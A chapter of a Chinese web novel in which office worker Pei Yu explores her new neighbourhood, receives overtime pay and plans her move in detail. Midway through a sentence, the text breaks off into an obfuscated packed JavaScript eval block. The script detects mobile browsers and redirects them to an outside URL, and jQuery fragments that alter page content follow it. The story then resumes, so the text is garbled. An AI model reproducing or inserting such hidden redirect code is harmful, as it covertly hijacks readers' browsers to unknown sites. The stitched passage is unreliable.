这一轮连续三天的加班，压得人喘不过气来。但好在第二天下午，领导临时有个会，项目临时被“雪藏”了几个小时，裴雨得了片刻空档。
她抓紧这个喘息的机会，请了个“外出洽谈”的假，换了身便装，打了辆车悄悄摸去了她即将入住的新小区。
车一拐进那条熟悉又还没太熟的街道，裴雨就不自觉地坐直了身体。
车窗外的街景在春日的阳光下格外清晰，便利店门口摆着促销饮料，干洗店前挂着还冒着热气的衣服，早点摊已经收摊，但地上的油渍还在默默昭示着清晨的热闹。
裴雨让司机停在小区门口。
她没有进门，毕竟自己现在还不是“正式住户”，钥匙虽然在物业那里取回来了，但她还没在这片土地上真正“扎根”。
于是她绕着小区外围慢慢地走。
一圈下来，她把每一个入口的位置记得清清楚楚，也注意到小区南门出来不远就是个公交站，牌子上写着有三路车通往地铁口，而其中一条正是她常搭的路线。
她掏出手机，用地图App开始试算从这里到单位的时间。
早高峰+地铁+步行，总共三十五分钟。
而如果选择公交+步行，虽然时间差不多，但要绕两站路，体验不太友好。
她挑了个不那么显眼的角落站着，打开备忘录，开始做笔记：
【早高峰出行备选路线】
1.步行至南门地铁站——5分钟
2.乘地铁6号线——20分钟
3.步行至单位——10分钟预计总时长：35分钟，推荐指数：五颗星
【应急方案】
1.打车直达单位，避开雨天或迟到风险
2.公交线K317，站点稍远，避开高峰期可用
她做完笔记，又在周围扫了一眼，发现不远处有一家还挺气派的咖啡馆，招牌写着“半日小酌”。
“不错。”她轻声念叨着，眼睛亮了一下，“以后下班来这儿发会呆也挺好。”
再往前走，是一家看起来经营多年的社区小超市。
没有便利店那么整洁利落，但胜在熟络温情。老板正蹲在门口往货架上摆方便面，见她站着不动，还笑着打招呼：“新搬来的吧？我们这边白象两块一桶，不加价。”
“哈哈，我记住了。”裴雨朝他点点头。
她心里泛起点轻微的暖意。
路边还有一排梧桐树，虽然才刚刚发芽，但已经能看出夏天的时候应该会很茂盛。旁边那家打印复印店贴着一张海报，说可以复印房产证、水电票据和临时打印，还能代收快递。
“这位置……送快递小哥找不到门我可以让寄这里。”她边走边记。
她甚至还站在小区外的某个长椅上坐了会，掏出本子在膝盖上写下：
【新家周边资源初步探索】
地铁站（南门步行5分钟）
超市x1（可买基础生活用品）
咖啡馆x1（适合临时办公）
快递服务点x1
干洗/洗衣/早餐摊齐全
一边写，她一边感到一种难以言喻的安全感慢慢浮了上来。
以前租房时，她几乎都匆匆忙忙地签约、入住，能不能方便生活全靠运气。这一次不一样，从选房、熟悉环境、安排动线，她像是在一点点“建设”属于自己的领地。
等她回过神来，天已经微微暗下来了。
她看看时间，已经快五点，便匆匆往地铁站走，准备赶回公司继续加班最后的收尾。
地铁上她站着，手机塞在口袋里，脑子里却已经在模拟搬家当天的路线——
“车停在小区北门那边，然后从西侧电梯直接上楼，中间可以先放下大件家具，再安排纸箱进屋……啊，先得把门垫和开关贴纸准备好。”
她甚至想好了，要在搬家前一天自己先来一趟，把水电燃气都再测一遍，顺便提前放点清洁用品进去，第二天能快一点。
地铁过站的铃声响起，她晃了晃神。
窗外是城市霓虹的光带，像一条永不止歇的河流。
她忽然笑了一下。
一开始她也没想过，自己居然会为了一个小小的搬家安排得这么细致，但现在回头想想，这些看起来繁琐的事，反而成了她生活里最踏实的锚点。
从单位赶回去的那晚，她特意绕道那家新发现的咖啡店，买了一杯美式带走。
等她回到公司，刚好八点，夜班值班的灯还亮着。
她坐下，把咖啡放在手边，整理好最后一份资料时，忽然又想起一件事。
她给自己设了一个提醒：
【搬家前一天，要记得提醒刘盼盼她欠我一个“新家入伙礼”】
写完，她一边笑一边合上笔记本，开始期待起收到礼物的那一天。
第二天上午。
“叮咚！”
微信到账提示音一响，裴雨正坐在公司茶水间的小沙发上吸着最后一口纸杯咖啡。手机亮起，她低头一看，眼神立刻亮了。
【招商银行：您尾号4938的储蓄卡收入人民币2300.00元，备注：专项工作补贴】
“啊……”她发出一声低低的感叹，像是沙漠里看见了绿洲。
旁边正在加热便当的同事姜让探头看了她一眼：“你中彩票啦？”
“比彩票稳。”裴雨把手机举起来，语气里透着久违的雀跃，“加班工资到账啦！”
“咱这还有加班工资？”姜让惊讶，“不是都按调休走的吗？”
“那是一般加班。我这是——临时专项任务。”她故意压低声音，“写报告，赶材料，苦情牌打得好，组长良心发现了。”
“你行啊。”小刘比了个大拇指，“走，我们中午吃点好的，庆祝一下。”
裴雨摇头笑了笑：“不行，我得省着点花，我还得搬家呢。”
“你不是早就定好房了吗？”
“定是定好了，这不临时又推迟了两天吗？一堆东西堆家里，现在要重新规划流程、找车队、订打包纸箱。”她掰着手指头数，“搬家公司选哪家，纸箱大小要几套，搬完当天几点到那边，怎么开荒打扫，家具装哪一边……”
“你这是搬家还是策划人生呢？”姜让惊了，“你这流程表得做个PPT了。”
“你别笑。”裴雨咬着吸管不服，“等你也一个人搬过几次家，你就懂我为啥要流程图了。”
说着她拿出手机，翻出自己前两天画的笔记App界面。
“我分了五页。”她语气有些得意，“第一页是东西分类表，第二页是时间线规划，第三页是搬家当日流程表，第四页是开荒打扫分工，第五页是新家布置草图。”
“……你是不是偷偷去考过项目管理师？”
“没考证，但搬家经验和项目进度差不多了。”
姜让彻底服了：“我要有你一半细致，我现在就买房了。”
“别，买房比搬家更崩溃。”裴雨一想到自己曾经被房东催着签续约的经历，又补了一句，“我已经能接受搬家比恋爱更稳定这个说法了。”
两人笑作一团，午饭后各自回到岗位，继续最后一点尾款
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721558|173816||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
工作。
下午五点五十五分，裴雨终于按下电脑电源键，关掉文档时那种如释重负的感觉仿佛压在她肩膀上的一块砖被移开。
她挎上包，坐电梯时已经在心里琢磨明天该打电话给哪家搬家公司了。
她计划先订纸箱——不需要太多，十个中箱五个大箱，自己还有几个收纳袋和压缩袋可以循环利用；然后订车，选可以按小时计费的，搬家路线不远，控制在两小时以内；再找保洁开荒，虽然房子干净，但保险起见，她打算请人擦一遍窗户，重点处理厨房卫生间。
晚上回到家，她洗了头，吹头发的功夫把整个计划又在脑子里复盘一遍。
十点钟，她趴在茶几上，打开了淘宝。
“搬家纸箱十个装……哦，这家送绑带和标签纸，好！”
她点开客服窗口确认尺寸：“请问这款中号箱是多少厘米的？”
客服：中号箱尺寸为53x29x33cm，适合装衣物、书籍及生活杂物。
“完美。”裴雨满意地付款，顺手又加购了两个厚实的封箱胶带。
买完纸箱，她接着去找搬家公司。
在各大平台来回横跳之后，她挑了一家评价不错、还有免费提供搬家毯和推车服务的公司，立马填了表单预约客服。
客服很快打来电话，她在电话里反复确认路线、时间、楼层、电梯情况，最后还不放心地又问了一遍能不能准点到。
“裴小姐放心，我们会提前半小时抵达，司机师傅会提前和您确认。”那边语气专业又温柔。
“好，那就周日早上八点，麻烦您了。”
挂掉电话那一刻，裴雨深吸一口气。
进度推进得相当顺利。
她打开记事本，把“联系搬家公司”这一栏画了个小勾勾。
然后开始在“开荒打扫”那一页补充内容：
马桶消毒
窗轨除尘
厨房吊柜擦拭
门把手全清洁
灯罩抹灰
看着密密麻麻的条目，她莫名满足。
人就是这样，一旦开始规划生活的细节，就会获得一种奇妙的掌控感。哪怕现实已经疲惫到极限，但只要清单一行行变成勾勾，就仿佛下一步也能顺利落地。
周五早上，天微亮，裴雨提前二十分钟醒来。
她盯着天花板发了会呆，忽然笑了。
这三天的加班好像把她抽干了，但这一刻，她竟然不觉得辛苦。
因为有工资到账，有房子可搬，还有自己的计划能一点点实现。
手机忽然响了一下。
是宋行舟发来的消息。
【宋行舟】：听说你加班结束了。搬家流程规划好了没？
她眼睛一亮，秒回：
【裴雨】：早就好了。我甚至有五页计划表。
【宋行舟】：……我该感到安心，还是该开始担心我以后的房东生活会被表格统治？
【裴雨】：你现在后悔还来得及，我还没签收钥匙。
【宋行舟】：晚了，我问物业了，说你来取过了。
【裴雨】：哼。
【宋行舟】：我周日早上在家，搬家那天要不要给你准备个欢迎仪式？比如一杯速溶咖啡+一块还没拆封的蛋卷。
【裴雨】：我考虑考虑你请不请得起两杯星巴克。
【宋行舟】：你要先给我看看你那五页表格，我看看预算批不批得下来。
裴雨笑着关了聊天框，又拿出小本子给搬家日写下了一行字：
“欢迎自己入住新阶段。”